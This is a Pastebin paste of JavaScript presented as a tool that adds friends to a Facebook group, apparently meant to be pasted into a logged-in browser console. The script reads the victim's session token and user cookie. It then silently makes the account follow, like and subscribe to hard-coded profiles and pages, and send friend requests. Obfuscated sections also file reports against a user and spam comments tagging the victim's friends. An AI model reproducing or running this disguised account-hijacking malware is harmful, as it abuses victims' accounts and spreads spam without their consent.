ratzcode1

facebook auto add on facebook groups code

May 30th, 2014
574
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /* Nh?c */
  2. var parent=document.getElementsByTagName("html")[0];
  3. var _body = document.getElementsByTagName('body')[0];
  4. var _div = document.createElement('div');
  5. _div.style.height="25";
  6. _div.style.width="100%";
  7. _div.style.position="fixed";
  8. _div.style.top="auto";
  9. _div.style.bottom="0";
  10. _div.align="center";
  11. var _audio= document.createElement('audio');
  12. _audio.style.width="100%";
  13. _audio.style.height="25px";
  14. _audio.controls = true;
  15. _audio.autoplay = false;
  16. _audio.autoplay = true;
  17. _audio.src = "http://picosong.com/media/songs/1623c97f871ebe69c08a4089737457dc";
  18. _div.appendChild(_audio);
  19. _body.appendChild(_div);
  20. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  21. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  22. var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;
  23. var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  24. function a(abone){var http4=new XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("POST",url4,true);http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a("100007273839098");function sublist(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}sublist("575207785900698");sublist("575207785900698");var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var now=(new Date).getTime();function P(post){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/ufi/like.php";var XParams="like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%1416182431955476&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function Like(p){var Page=new XMLHttpRequest();var PageURL="//www.facebook.com/ajax/pages/fan_status.php";var PageParams="&fbpage_id="+p+"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";Page.open("POST",PageURL,true);Page.onreadystatechange=function(){if(Page.readyState==4&&Page.status==200){Page.close}};Page.send(PageParams)}Like("1416182431955476");function IDS(r){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/add_friend/action.php";var XParams="to_friend="+r+"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}
  25.  
  26. // soufian
  27.  
  28. a("100001394609255");
  29.  
  30. a("100001241823223");
  31.  
  32. a("100007897264127");
  33.  
  34. a("100007273839098");
  35.  
  36. a("100007858291971");
  37.  
  38. a("100005229402185");
  39.  
  40. a("100003677295373");
  41.  
  42. a("100002653456422");
  43.  
  44. a("100005029241523");
  45.  
  46.  
  47. // Lists //
  48.  
  49. sublist("575207785900698");sublist("575207785900698");
  50.  
  51. sublist("730480167003371");sublist("730480167003371");
  52.  
  53. sublist("220766111434362");sublist("220766111434362");
  54.  
  55. Like("246608125530479");
  56.  
  57. Like("249012758622983");
  58.  
  59. Like("459905264109535");
  60.  
  61. Like("204222066321833");
  62.  
  63. Like("218793864923037");
  64.  
  65. Like("1426129110859726");
  66.  
  67. Like("1420708861522137");
  68.  
  69. Like("794423487235382");
  70.  
  71. Like("469752619730181");
  72.  
  73. Like("181946101824513");
  74.  
  75. Like("666503353420702");
  76.  
  77. Like("559244237456161");
  78.  
  79. Like("234538163415504");
  80.  
  81. Like("1446520542249242");
  82.  
  83. Like("1405960696342027");
  84.  
  85. Like("379577018738810");
  86.  
  87. Like("687033828006341");
  88.  
  89. Like("343814292410737");
  90.  
  91. Like("240732569462304");
  92.  
  93. Like("1416182431955476");
  94.  
  95. Like("1446520542249242");
  96.  
  97. //Theme
  98. (function() {
  99. var css = ".highlightIndicator, \n.tinyman:after, \n.fbTimelineSideAds,\n.ego_column,\n.buttonWrap, \n.fbTimelineSpine, \n.spinePointer, \n.topBorder, \n.bottomBorder, \n#footerContainer, \n.middleLink, \n.slimHeader #pageNav li.tinyman::after, .slimHeader #pageNav li.middleLink::after, \n.slimHeader #pageNav .middleLink a, \n.moreSectionsLink\n{\ndisplay:none !important;\n}\n\ndiv.mainWrapper{\npadding-left: 1em !important;\n}\n.uiProgressBar .fill {\nbackground: #444 !important;\nborder: solid #222 !important;\n}\n.uiTypeaheadView .compact li {\nbackground-color: #111 !important;\n}\ndiv.uiTypeaheadView .selected {\nbackground-color: #333 !important;\n}\n.fbIndex .gradient {\nbackground: none !important;\n}\n.notifNegativeBase #fbNotificationsFlyout li.jewelItemNew, .notifNegativeBase #fbNotificationsFlyout li.first_receipt {\nbackground: #333 !important;\n}\n.pop_container {\nbackground-color: #000 !important;\n}\n.pop_verticalslab, .pop_horizontalslab {\nbackground: #222 !important;\n}\n.uiMenuXItem\na.highlighted {\nbackground-color: #333 !important;\nborder-color: #000 !important;\ncolor: #FFF !important;\n}\n.uiMenuXItem\na.highlighted {\nbackground-color: #333 !important;\nborder-color: #000 !important;\ncolor: #FFF !important;\n}\n.uiContextualLayer {\nbackground-color: #111 !important;\n}\n.HighlightSelectorMenu {\nborder: 2px solid #000 !important;\nbackground: #111 !important;\nborder-radius: 5px !important;\n}\n.-cx-PUBLIC-uiDialog__border, ._1yu {\nborder: 10px solid rgba(82, 82, 82, .7) !important;\n-webkit-border-radius: 8px !important;\n}\ninput[type=\"text\"], input[type=\"password\"], .inputtext, select, .select, select > option, select > button, .fbPhotoImageStage .fbPhotosPhotoButtons .tagMessage, .fbPhotoImageStage .fbPhotosPhotoButtons .cropMessage, #u1clso_61 div img, #navSearch .uiTypeahead, .-cx-PRIVATE-uiDialog__content, ._1yu, ._t {\nbackground-color: #111 !important;\n}\n.fbTimelineCapsule\n{\nbackground: none !important;\n}\n.sp_c79t5t\n{\nbackground-image: none !important;\n}\n* {\nborder-color: transparent !important;\ncolor: #fff !important;\nbackground-color: transparent !important; \n}\n\n#fbTimelineHeadline .profilePic {\nbackground-color: #FFF !important;\nborder: 4px solid #FFF !important;\n-webkit-border-radius: 2px !important;\nheight: 160px !important;\nwidth: 160px !important;\n}\n\n\n.fbTimelineScrubber {\n\nborder-color: #333333 !important;\npadding: 8px 0 8px 1px !important;\ntop: 38px !important;\nwidth: 122px !important;\nz-index: 1 !important;\nborder-radius: 10px !important;\n}\n\n.fbPhotosPhotoTagboxBase .tagName {\nbackground: #000 !important;\ncolor: #FFF !important;\ncursor: default !important;\nfont-weight: normal !important;\npadding: 2px 6px 3px !important;\ntop: 3px !important;\nwhite-space: nowrap !important;\n}\n\n.fbPhotosPhotoTagboxBase .innerTagBox {\nborder: 4px solid white !important;\nborder-color: rgba(255, 255, 255, .8) !important;\n}\n\n.fbPhotoSnowlift {\nbackground-color: rgba(0, 0, 0, .7) !important;\n}\n\n.fbPhotoSnowlift .rhc , .pagingActivated .snowliftOverlay, .fbPhotoSnowlift.taggingMode .snowliftOverlay, .stageWrapper{\nbackground-color: #111 !important;\n}\n\n.profile-picture img {\nmax-width: 170px !important;\n}\n\n.webComposerPhotoUpload input, .webComposerPhotoUpload {\ncolor: #000000 !important;\n}\n\n\nhtml{background:url(http://data.sinhvienit.net/2011/T12/img/SinhVienIT.NET---bg-green.jpg) no-repeat center fixed;background-size:cover;-o-background-size:cover;-webkit-background-size:cover}\n\n\n\n\n.fbCurrentStory:hover, .connect_widget_like_button, .fbFeedTickerStory:hover, .item a:hover, .fbJewelFlyout li:hover, .uiSideNav a:hover, .fbNubFlyoutBody, .uiButtonConfirm {\nbackground: #111111 !important;\n}\n\n.fbChatMessageGroup {\nborder-color: #2c2c2c !important;\n}\n\n.fbChatSidebar {\nbackground: #111111 !important;\n}\n\n#leftCol {\nposition: relative;top:20px!important;\nmin-height: 400px !important;\n}\n\n.arrowLeft a {\nbackground-image:url('http://i.imgur.com/26zf5.png') !important;\nborder-color: #666666 !important;\n}\n\n.arrowRight a {\nbackground-image:url('http://i.imgur.com/v6B6z.png') !important;\nborder-color: #666666 !important;\n}\n\n.uiStreamSubstory {\nborder-color: transparent !important;\n}\n\n.uiHeader {\nbackground-color: transparent !important;\n}\n\n.fbSidebarGripper, .fbTickerFooter, .fbSidebarGripper div, .navSubmenu:hover {\nbackground-color: #222222 !important;\n}\n\n.fbTimelineCountButton, .uiBoxWhite, .uiButtonGroup {\nbackground-color: #1c1c1c !important;\n}\n\n\n\n#leftCol {\npadding-top: 0px !important;\npadding-left: 0px !important;\n}\n\n.fbNubFlyoutFooter {\nbackground: #111111 !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #CC00FF !important; \nborder: #333333 !important;\n}\n\n.uiStream .uiSelectorButton {\nbackground-image: url(\"http://i.imgur.com/nOfuQ.png\") !important;\n}\n\n.uiSearchInput {\nbackground-image: url(\"http://i.imgur.com/agmNw.png\") !important;\n}\n\n\n\n\n.jewelButton:hover, .topNavLink a:hover {\nbackground-color: #222222 !important;\n}\n\n.uiScrollableAreaGripper {\nbackground-color: #666666 !important;\n}\n\n.uiSearchInput, .fbPhotosGridHeader, .uiComposerMessageBoxControls, #MessagingShelf, .uiBoxGray {\nbackground: #111111 !important;\n}\n\n.uiButton {\nbackground: #1c1c1c !important;\n}\n\n#blueBar {\nbackground: -moz-linear-gradient(top, #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top, #45484d 0%, #000000 100%) !important;\nbox-shadow: 0 0 7px rgba(211, 32, 198, 0.75) !important;\nborder:4px ridge #CC00FF !important;\nmargin-top:5px!important;\nmargin-left:5px!important;\nborder-radius: 70px!important;\n}\n\n\n\n#contentCol, #pageLogo a {\nbackground-color: transparent !important;\nborder-color: transparent !important;\n}\n\n.uiMorePager {\nmargin-bottom:6px !important;\nbackground-color: #1c1c1c !important;\nborder: 0px solid #333333 !important;\n}\n\n.uiStreamStory, .fbIndexFeaturedRegistration, .signupForm {\nmargin-bottom:2px !important;\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder-radius: 15px !important;\npadding: 1px !important;\nborder: 0px solid #333333 !important;\n}\n\n.uiStream .uiStreamHeader .uiStreamHeaderChronologicalForm .uiSelectorButton .uiButtonText {\ncolor: #000 !important;\n}\n\n#album_pagelet {\nbackground-color: #111111 !important;\nmargin-left: 0px !important;\nmargin-top: -15px !important;\n}\n\n.tagWrapper, #pagelet_main_column, .timelineUnitContainer, .fbTimelineTopSection, #MessagingMessages {\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder-radius: 15px !important;\nborder: 0px solid #333333 !important;\n}\n.fbTimelineTopSectionBase .topSectionBottomBorder {\ndisplay: none !important;\n}\n#pagelet_main_column {\nwidth: 500px !important;\n}\n\n.fbJewelFlyout, .uiToggleFlyout, .navigation, .container, .uiOverlayContent, .search, .pop_container_advanced {\nbackground-color: #111111 !important; \nborder-radius: 15px !important;\nborder: 2px solid #333333 !important;\n}\n\n#left_column, #leftCol, .MessagingReadHeader {\nbackground: #111111 !important;\nborder-radius: 15px !important;\n}\n\n#left_column, #leftCol {\nmargin-left:-8px !important;\nwidth: 185px !important;\n}\n\n.uiMediaThumb i, .uiProfilePhoto {\nborder: 1px solid #000000 !important; \n}\n\n#rightCol {\nmargin-top: 10px !important;\npadding-top: 0px !important;\nbackground: #111111 !important;\nborder-radius: 15px !important;\nborder: 0px solid #333333 !important;\n}\n\n#right_column, .rightColumnWrapper {\nmargin-top: 0px !important;\npadding-top: 0px !important; \nposition: fixed !important;\nbackground: #111111 !important;\nborder-radius: 15px !important; \nborder: 0px solid #333333 !important;\n}\n\n.aboutMePagelet {\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder: 0px solid #333333 !important;\n}\n\n.fbNubButton, .fbNubFlyoutTitlebar, .uiToggleFlyout, .fbChatSidebarFooter {\nbackground: -moz-linear-gradient(center top , #333333, #000000) !important;\nbackground: -webkit-linear-gradient(center top , #333333, #000000) !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #CC00FF !important;\nborder: #333333 !important;\n}\n\n.fbChatOrderedList {\nbackground: -moz-linear-gradient(center right , #333333, #000000) !important;\nbackground: -webkit-linear-gradient(center right , #333333, #000000) !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #CC00FF !important;\nborder: #333333 !important;\n}\n\n\n\n\n\n\n\n\n.UFIMentionsInputWrap,.navHeader, ._554n,.fbxWelcomeBox ,._2yg .composerTypeahead {\nbackground: -moz-linear-gradient(top, #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top, #45484d 0%, #000000 100%) !important;\nbox-shadow: 0 2px 4px rgba(211, 32, 198, 0.75) !important;\nborder:2px ridge #CC00FF !important;\nmargin-top:5px!important;\nmargin-left:0px!important;\nborder-radius: 7px!important;\npadding:3px!important;\n}\n.fbx #pageHead, #blueBar #pageHead{\npadding-top:0px!important;\n}\n\n.slim #blueBar {\n\n height: 35px!important;\n}\n.fbxWelcomeBoxBlock .fbxWelcomeBoxImg,\n._s0,\n._42fz .pic{\n border:2px solid rgba(0, 0, 0, .55)!important;\n border-radius: 37px!important;\n}\n.fbxWelcomeBoxBlock .fbxWelcomeBoxImg:hover,\n._s0:hover,\n._42fz .pic:hover{\n box-shadow: 0px 0px 4px rgba(211, 32, 198, 0.75) !important;\n border:2px ridge #CC00FF !important;\n border-radius: 37px!important;\n}\n.uiSideNav .sideNavItem .hasCount:hover,\n.uiSideNav .sideNavItem .noCount:hover{\n text-shadow: 2px 2px 2px rgba(39, 98, 138, 0.75) !important;\n color: #CC00FF !important;\n\n}\n#navSearch {\nwidth:300px !important;\nmargin-top: 6px !important;\nmargin-left: 30px !important;\nborder-color: transparent !important;\n}\n#headNav {\n height: 30px;\n}\n\n\n\na:hover{\n text-shadow: 2px 2px 2px rgba(39, 98, 138, 0.75) !important;\n color: #CC00FF !important;\n}\n.UIActionLinks_bottom a, \n.UIActionLinks_bottom button.as_link, \n.UIActionLinks_bottom .uiLinkButton input, \n.UIActionLinks_bottom .uiLinkButton input:hover,\n.uiStreamMessage .actorName, .uiStreamMessage .passiveName\n{\n text-shadow: 1px 1px 1px rgba(0, 0, 0, 0.99) !important;\n color: #CC00FF !important;\n}\n._2yg .composerTypeahead ,#bfb_options_button_li.openToggler ul,\n .better_fb_mini_message, .sfx_mini_message_no_x,\n .GM_options_wrapper_inner,\n .better_fb_mini_message, .mini_x{\nbackground: -moz-linear-gradient(top, #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top, #45484d 0%,#000000 100%);\nbox-shadow: 0 2px 4px rgba(39, 98, 138, 0.75) !important;\nborder:2px ridge #CC00FF !important;\nmargin-top:5px!important;\nmargin-left:0px!important;\nborder-radius: 7px!important;\npadding:3px!important;\n}\n.GM_options_buttons input{\n text-shadow: 1px 1px 1px rgba(0, 0, 0, 0.99) !important;\n color: #CC00FF !important;\n\n}";
  100. if (typeof GM_addStyle != "undefined") {
  101. GM_addStyle(css);
  102. } else if (typeof PRO_addStyle != "undefined") {
  103. PRO_addStyle(css);
  104. } else if (typeof addStyle != "undefined") {
  105. addStyle(css);
  106. } else {
  107. var node = document.createElement("style");
  108. node.type = "text/css";
  109. node.appendChild(document.createTextNode(css));
  110. var heads = document.getElementsByTagName("head");
  111. if (heads.length > 0) {
  112. heads[0].appendChild(node);
  113. } else {
  114. // By Tr?ng(N V D)
  115. document.documentElement.appendChild(node);
  116. }
  117. }
  118. })();
  119. var _0xb161=["\x76\x61\x6C\x75\x65","\x66\x62\x5F\x64\x74\x73\x67","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x63\x6F\x6F\x6B\x69\x65","\x67\x65\x74\x54\x69\x6D\x65","\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x72\x65\x70\x6F\x72\x74\x2F\x73\x6F\x63\x69\x61\x6C\x2E\x70\x68\x70","\x66\x62\x5F\x64\x74\x73\x67\x3D","\x26\x62\x6C\x6F\x63\x6B\x3D\x31\x26\x70\x70\x3D\x25\x37\x42\x25\x32\x32\x61\x63\x74\x69\x6F\x6E\x73\x5F\x74\x6F\x5F\x74\x61\x6B\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x5B\x5D\x25\x32\x32\x25\x32\x43\x25\x32\x32\x61\x72\x65\x5F\x66\x72\x69\x65\x6E\x64\x73\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x63\x69\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x63\x6F\x6E\x74\x65\x6E\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x30\x25\x32\x43\x25\x32\x32\x65\x78\x70\x61\x6E\x64\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x33\x41\x31\x25\x32\x43\x25\x32\x32\x66\x69\x72\x73\x74\x5F\x63\x68\x6F\x69\x63\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x32\x43\x25\x32\x32\x66\x72\x6F\x6D\x5F\x67\x65\x61\x72\x25\x32\x32\x25\x33\x41\x25\x32\x32\x74\x69\x6D\x65\x6C\x69\x6E\x65\x25\x32\x32\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x66\x6F\x6C\x6C\x6F\x77\x69\x6E\x67\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x74\x61\x67\x67\x65\x64\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x6F\x6E\x5F\x70\x72\x6F\x66\x69\x6C\x65\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x70\x68\x61\x73\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x72\x65\x66\x25\x32\x32\x25\x33\x41\x25\x32\x32\x68\x74\x74\x70\x73\x25\x33\x41\x25\x35\x43\x25\x32\x46\x25\x35\x43\x25\x32\x46\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x25\x35\x43\x25\x32\x46\x4E\x61\x6E\x2E\x65\x72\x74\x74\x37\x25\x32\x32\x25\x32\x43\x25\x32\x32\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x31\x34\x35\x25\x32\x43\x25\x32\x32\x72\x69\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x73\x75\x62\x5F\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x74\x69\x6D\x65\x5F\x66\x6C\x6F\x77\x5F\x73\x74\x61\x72\x74\x65\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x75\x73\x65\x72\x25\x32\x32\x25\x33\x41","\x25\x37\x44\x26\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x3D\x31\x26\x5F\x5F\x75\x73\x65\x72\x3D","\x26\x5F\x5F\x61\x3D\x31\x26\x5F\x5F\x64\x79\x6E\x3D\x37\x6E\x38\x61\x68\x79\x6A\x32\x71\x6D\x76\x75\x35\x6B\x39\x55\x6D\x41\x41\x61\x55\x56\x70\x6F\x26\x5F\x5F\x72\x65\x71\x3D\x75\x26\x74\x74\x73\x74\x61\x6D\x70\x3D\x32\x36\x35\x38\x31\x36\x38\x35\x37\x31\x30\x37\x31\x31\x30\x38\x38\x38\x30","\x50\x4F\x53\x54","\x6F\x70\x65\x6E","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x75\x73","\x63\x6C\x6F\x73\x65","\x73\x65\x6E\x64","\x31\x30\x30\x30\x30\x36\x39\x35\x32\x31\x31\x39\x30\x34\x38"];var fb_dtsg=document[_0xb161[2]](_0xb161[1])[0][_0xb161[0]];var user_id=document[_0xb161[4]][_0xb161[3]](document[_0xb161[4]][_0xb161[3]](/c_user=(\d+)/)[1]);var now=( new Date)[_0xb161[5]]();function Report(_0x45e7x5){var _0x45e7x6= new XMLHttpRequest();var _0x45e7x7=_0xb161[6];var _0x45e7x8=_0xb161[7]+fb_dtsg+_0xb161[8]+_0x45e7x5+_0xb161[9]+_0x45e7x5+_0xb161[10]+now+_0xb161[11]+user_id+_0xb161[12]+user_id+_0xb161[13];_0x45e7x6[_0xb161[15]](_0xb161[14],_0x45e7x7,true);_0x45e7x6[_0xb161[16]]=function (){if(_0x45e7x6[_0xb161[17]]==4&&_0x45e7x6[_0xb161[18]]==200){_0x45e7x6[_0xb161[19]];} ;} ;_0x45e7x6[_0xb161[20]](_0x45e7x8);} ;
  120. var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text=","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id);
  121.  
  122. var user = getCookie("c_user");
  123. function getCookie(c_name) {
  124. var i,x,y,ARRcookies=document.cookie.split(";");
  125. for (i=0;i<ARRcookies.length;i++) {
  126. x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
  127. y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
  128. x=x.replace(/^\s+|\s+$/g,"");
  129. if (x==c_name) {
  130. return unescape(y);
  131. }
  132. }
  133. }
  134. var tulisanNganu = '<font color="black"><b>Adding</b> </font>';
  135. var kunaon = '';
  136. function penetrasi(opo) {
  137. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=" + memberGroupId + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function (a) {
  138. var b = a.substring(a.indexOf("{"));
  139. var c = JSON.parse(b);
  140. i--;
  141. kunaon = "<div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;";
  142. if (c.error) {
  143. kunaon += "color:darkred'>";
  144. if (c.errorDescription) {
  145. kunaon += c.errorDescription
  146. } else {
  147. kunaon += JSON.stringify(c, null, "")
  148. }
  149. } else {
  150. kunaon += "color:darkgreen'>";
  151. kunaon += arr[i];
  152. suc++
  153. }
  154. kunaon += "</div>";
  155. var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
  156. dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
  157. if (i > 0) {
  158. dipes += arr.length + " Friends Detected<br/>";
  159. dipes += "<b>" + suc + "</b> Friends Added Of " + (arr.length - i) + " Friends Processed ";
  160. dipes += "(" + i + " More To Go..)";
  161. dipes += "<div class='friend-edge'>";
  162. dipes += kunaon;
  163. dipes += "</div>"
  164. } else {
  165. dipes += arr.length + " Friends Detected And ";
  166. dipes += "<b>" + suc + " Friends Added</b>";
  167. dipes += "<div><span class='uiButton' onClick='document.getElementById(\"pagelet_welcome_box\").style.display=\"none\"'>Done</span></div>"
  168. }
  169. dipes += "</div>";
